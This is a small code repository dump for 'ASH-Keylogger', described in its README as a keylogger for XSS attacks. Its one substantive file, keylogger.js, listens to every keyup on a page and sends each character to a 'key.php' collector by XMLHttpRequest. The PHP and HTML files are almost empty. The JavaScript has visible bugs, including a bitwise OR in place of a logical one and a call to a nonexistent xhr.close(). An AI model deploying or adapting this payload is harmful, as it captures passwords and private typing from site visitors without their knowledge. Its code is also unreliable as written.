├── README.md └── src ├── Example.html ├── keylogger.php └── keylogger.js /README.md: -------------------------------------------------------------------------------- 1 | # ASH-Keylogger 2 | A simple keylogger application for XSS attack. 3 | -------------------------------------------------------------------------------- /src/Example.html: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /src/keylogger.php: -------------------------------------------------------------------------------- 1 | // Contributed by Kh 2 | // (c)opyright - Anonymous Security Hackers 3 | 4 | 10 | -------------------------------------------------------------------------------- /src/keylogger.js: -------------------------------------------------------------------------------- 1 | // Contributed by Kh 2 | // (c)opyright - Anonymous Security Hackers 3 | 4 | document.onkeyup = ( function( evt ) { 5 | evt = evt | window.event; 6 | key = String.fromCharCode( evt.charCode ); 7 | if( key ){ 8 | var xhr = new XMLHttpRequest( ); 9 | var param = encodeURI( key ); 10 | 11 | param += " "; 12 | 13 | xhr.open( "GET", "./key.php?k=" + param, true ); 14 | xhr.send( null ); 15 | xhr.close( ); 16 | } 17 | } ); 18 | --------------------------------------------------------------------------------